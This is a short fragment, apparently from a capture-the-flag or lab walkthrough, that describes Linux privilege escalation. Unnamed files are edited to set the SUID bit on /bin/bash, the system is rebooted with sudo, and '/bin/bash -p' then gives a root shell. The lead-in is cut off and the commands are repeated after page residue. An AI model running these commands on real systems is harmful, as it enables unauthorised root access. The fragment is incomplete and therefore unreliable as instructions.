- Edit them to have root shell like:
- Add the
/usr/bin/chmod +s /bin/bash
- Add the
- Then reboot
sudo /usr/sbin/reboot
- After this, execute
/bin/bash -p
- Now you are root
Search
Nov 15, 20241 min read
/usr/bin/chmod +s /bin/bash
sudo /usr/sbin/reboot
/bin/bash -p